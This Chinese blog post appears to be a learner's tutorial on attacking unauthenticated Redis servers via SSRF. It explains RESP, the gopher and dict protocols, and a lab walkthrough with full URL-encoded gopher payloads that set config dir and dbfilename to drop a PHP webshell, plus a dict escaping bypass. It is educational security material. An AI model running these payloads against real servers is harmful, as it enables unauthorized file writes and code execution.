Redis安全学习

2022-12-19,

Redis安全学习

一直在听SSRF打Redis,那Redis到底是啥,正式的认真学习一下。

1、Redis是什么

REmote DIctionary Server(Redis) 是一个由Salvatore Sanfilippo写的key-value存储系统。

Redis是一个开源的使用ANSI C语言编写、遵守BSD协议、支持网络、可基于内存亦可持久化的日志型、Key-Value数据库,并提供多种语言的API。

它通常被称为数据结构服务器,因为值(value)可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。

来源于:https://www.runoob.com/redis/redis-tutorial.html

Redis默认端口为6379

2、Redis的命令

连接命令

​ 本地连接:redis-cli(本地连接后,若存在密码使用AUTH pass进行验证)

​ 远程连接:redis-cli -h host -p port [-a passwd](参数a可选项,如果是没有密码的则不需要)

键操作

​ 设置键值对:set 键名 键值(例如:set atao xxx-->写入一个键名为atao、键值为xxx的内容,执行成功返回OK)

​ 取出键值对:get 键名(例如:get atao-->取出键名为atao的键的键值,返回键中的键值)

​ 删除键值对:del 键名(例如:del atao-->删除键名为atao的键,如果键被删除返回(integer)1,否则将输出(integer)0)

​ 清空所有数据库命令:flushall(删除所有数据库里面的所有数据,是所有数据库,不仅仅是当前数据库,且此命令永远不会出现失败)

​ 同步数据到磁盘上:save(以RDB文件的方式保存所有数据的快照,命令执行成功返回OK)

配置操作

​ Redis配置文件名为redis.conf(Windows下名为redis.windows.conf),可以使用CONFIG命令进行查看。

​ 设置配置文件:config set 配置项 路径(配置项如:dir或dbfilename,二者分别是指定本地数据库存放目录和指定本地数据库文件名,配置被正确设置时返回OK,否则将返回错误)

​ 更多配置项的内容,可以查看:https://www.runoob.com/redis/redis-conf.html

这里介绍的为自己常用的命令,更多命令查看:http://www.redis.cn/commands.html

3、学习SSRF打Redis的预备知识

Redis安装过程

​ 参考链接:https://www.cnblogs.com/hunanzp/p/12304622.html

​ 遇到的坑:使用redis-cli时,返回bash: redis-cli:未找到命令,解决方法:在redis文件夹下执行命令:sudo cp src/redis-cli /usr/local/bin/,将redis-cli添加至命令中。

​ 启动Redis:在目录/usr/local/redis下执行命令:sudo ./bin/redis-server ./redis.conf

捕捉Redis流量

​ 这里使用的是tcpdump抓取流量,(遇到了一个小坑,Kali上显示tcpdump为最新版,但是无命令,更新环境变量:export PATH="/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin:/root/bin"后可以正常使用)抓取流量的命令为sudo tcpdump -i lo -s 0 port 6379 -w redis.pcap

Redis通信协议RESP

Redis客户端使用称为RESP(Redis序列化协议)的协议与Redis服务器进行通信。详细阅读:https://redis.io/topics/protocol

RESP在Redis中用作请求-响应协议的方式如下:

- 客户端将命令作为RESP大容量字符串数组发送到Redis服务器。
- 服务器根据命令实现以RESP类型之一进行回复。 在RESP中,某些数据的类型取决于第一个字节: - 对于简单字符串,答复的第一个字节为"+" ​ 格式:+字符串 ​ 注意:字符串不能包含CR或者LF(不允许换行) ​ eg:"+OK\r\n" - 对于错误,回复的第一个字节为"-" ​ 格式:-错误前缀 错误信息\r\n ​ 注意:错误信息不能包含CR或者LF(不允许换行),Errors与Simple Strings相似,不同的是Errors会被当作异常看待 ​ eg:"-Errors unknow command 'foobar'\r\n" - 对于整数,答复的第一个字节为":" ​ 格式::数字\r\n ​ eg:":10\r\n" - 对于批量字符串(大字符串类型Bulk Strings,长度限制512M),答复的第一个字节为"$" ​ 格式:$字符串的长度\r\n字符串\r\n ​ 注意:字符串不能包含CR或者LF(不允许换行) ​ eg:"$7\r\npayload\r\n" - 对于数组,回复的第一个字节为"*" ​ 格式:*数组元素个数\r\n其他类型(结尾不需要\r\n) ​ 注意:只有元素个数后面的\r\n是属于该数组的,结尾的\r\n一般是元素的 ​ eg:"*0\r\n"——空数组 ​ "*2\r\n$1\r\nA\r\n$3\r\ntao\r\n"——数组包含2个元素,分别为A和tao ​ "*-1\r\n"——Null数组 通过上面所述的几种类型构造命令传给redis服务端,则服务端会返回相应的内容。

Gopher协议

​ 万金油协议!!!

​ 语法格式:gopher://<host>:<port>/<gopher_path>_value(host为IP地址;port为指定端口,没写的话默认为70端口;"_"是一种数据连接格式,任意字符都行;value为TCP数据流)

​ 如果发起为POST请求,回车换行使用%0D%0A;如果多个参数,参数之间的&也需要进行URL编码。

GET请求
源码
<?php
$a = $_GET['a'];
echo "Hello!".$a;
?> 下面是我们要请求的TCP数据流
GET /flag.php?a=atao HTTP/1.1
Host: 192.168.159.131 转成url编码的格式(最后一句结尾也要%0d%0a,所以要加上)
%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a curl gopher://192.168.159.131:80/_%47%45%54%20%2f%66%6c%61%67%2e%70%68%70%3f%61%3d%61%74%61%6f%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a 返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:09:33 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html a
Hello!atao
0 POST请求
源码
<?php
$a = $_POST['a'];
echo "Hello!".$a;
?> 用原来的方式进行请求
GET /flag.php HTTP/1.1
Host: 192.168.159.131 a=atao
这样会报错,POST请求需要多加两个参数Content-Type和Content-Length 修改后为
POST /flag.php HTTP/1.1
Host: 192.168.159.131
Content-Type: application/x-www-form-urlencoded
Content-Length: 6 a=atao 转成url编码的格式(这次结尾不用加%0d%0a,因为最后是参数)
%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f curl gopher://192.168.159.131:80/_%50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%35%39%2e%31%33%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%36%0d%0a%0d%0a%61%3d%61%74%61%6f 返回
HTTP/1.1 200 OK
Date: Mon, 02 Nov 2020 16:19:16 GMT
Server: Apache/2.4.23 (Win32) OpenSSL/1.0.2j mod_fcgid/2.3.9
X-Powered-By: PHP/5.4.45
Transfer-Encoding: chunked
Content-Type: text/html a
Hello!atao
0

Dict协议

​ 在SSRF中,主要是用来查看端口服务是否开启的,但是在Redis中如果无法使用Gopher协议,则可以通过该协议进行替代,不过该协议不能进行多行命令执行,所以当Redis存在验证时无法使用该协议。

​ 语法格式:dict:////<host>:<port>/<value>(host为IP地址;port为指定端口;value为请求内容)

使用命令
curl -g "dict://127.0.0.1:6397/set:atao:xxx" 返回
-ERR Unknown subcommand or wrong number of arguments for 'libcurl'. Try CLIENT HELP
+OK
+OK 抓包看到的
CLIENT libcurl 7.68.0
set atao xxx
QUIT 来自郁神的解释
第一行是代表发出的cli的工具和版本
第二行是执行我们请求的命令
第三行是自行退出
从这里我们就不难看出为啥dict不适合Redis认证的题目了,每次只能执行一条命令,执行完后还会退出,没有余力做别的操作
这里返回第一行报错了,应该是没有带参数而报错的

4、利用方式

​ Redis未授权访问漏洞,一般是和SSRF一起出现的。通过SSRF的漏洞来访问到Redis。

简单的写入WebShell

set atao '<?php phpinfo();?>' //写入php代码
config set dir /var/www/html //修改数据库备份的目录
config set dbfilename shell.php //修改数据库备份的文件名
save //备份

上面是Redis需要执行的命令,但是我们是和SSRF一起使用的,所以这里配合Gopher协议一起使用

通过抓包,Redis通信如下

RESP协议,下面是一个设置键值对和取键值对的操作
*3
$3
set
$5
atao1
$4
xxx1
+OK
*2
$3
get
$5
atao1
$4
xxx1 将上面的需要写入的内容通过RESP协议的格式进行更改
*3
$3
set
$4
atao
$18
<?php phpinfo();?>
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save 然后在用url编码的格式进行传输
%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a curl gopher://192.168.159.142:6379/_%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 返回
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
-NOAUTH Authentication required.
原因是Redis存在认证,如果没有认证的话使用上述方式即可,如果存在认证则需要先通过认证才可以进行操作 Redis认证命令为:AUTH password,修改成RESP协议格式如下(这里直接使用了自己Redis的密码,设置密码命令:config set requirepass password)
*2
$4
AUTH
$6
123456 curl gopher://192.168.159.142:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a
不知道为啥改成这个后,远程连接就上不了了。呜呜呜,要是有知道的师傅求解释一下,后来就改成本地打本地了 curl gopher://127.0.0.1:6379/_%2a%32%0d%0a%24%34%0d%0a%41%55%54%48%0d%0a%24%36%0d%0a%31%32%33%34%35%36%0d%0a%2a%33%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%34%0d%0a%61%74%61%6f%0d%0a%24%31%38%0d%0a%3c%3f%70%68%70%20%70%68%70%69%6e%66%6f%28%29%3b%3f%3e%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%33%0d%0a%64%69%72%0d%0a%24%31%33%0d%0a%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%0d%0a%2a%34%0d%0a%24%36%0d%0a%63%6f%6e%66%69%67%0d%0a%24%33%0d%0a%73%65%74%0d%0a%24%31%30%0d%0a%64%62%66%69%6c%65%6e%61%6d%65%0d%0a%24%39%0d%0a%73%68%65%6c%6c%2e%70%68%70%0d%0a%2a%31%0d%0a%24%34%0d%0a%73%61%76%65%0d%0a 返回
+OK 认证过
+OK 修改路径成功
+OK 修改文件名成功
+OK 写入键值对成功
+OK 保存成功 cat /var/www/html/shell.php
返回
REDIS0009� redis-ver5.0.7�
�edis-bits�@�ctime�m�_used-mem��
aof-preamble���atao<?php phpinfo();?>�v�a�Pw�a
虽然存在乱码,但是php的代码是正常的

​ 这类利用方式还有:写入SSH-KEYGEN公钥使用私钥登陆(https://www.mi1k7ea.com/2020/03/05/Redis安全小结/#写入SSH公钥直接登录)、反弹shell(https://joychou.org/web/phpssrf.html#directory0259675512790535476)

转义绕过?截断

​ 参考:https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ

​ 主要用于dict协议中,当dict协议要写入键值对,如:

dict://127.0.0.1:6379/set:atao:<?php phpinfo();?>

接收到的内容
CLIENT libcurl 7.68.0
set atao <
QUIT
可以看到?以及后面的内容都没了 这里通过对<?等特殊符号进行转义绕过
dict://127.0.0.1:6379/set:atao:\x3c\x3fphp\x20phpinfo0x28\x29\x3b\x3f\x3e

好用的工具

​ https://github.com/xmsec/redis-ssrf

参考连接

http://yulige.top/?p=775

https://joychou.org/web/phpssrf.html

https://www.mi1k7ea.com/2020/03/05/Redis安全小结/

未完待续

​ Redis还有很多利用的方式,比如:主从复制的内容,菜鸡还没学会,先不写了

本文作者:erR0Ratao

本文链接:https://www.cnblogs.com/erR0Ratao/p/13922232.html

Redis安全学习的相关教程结束。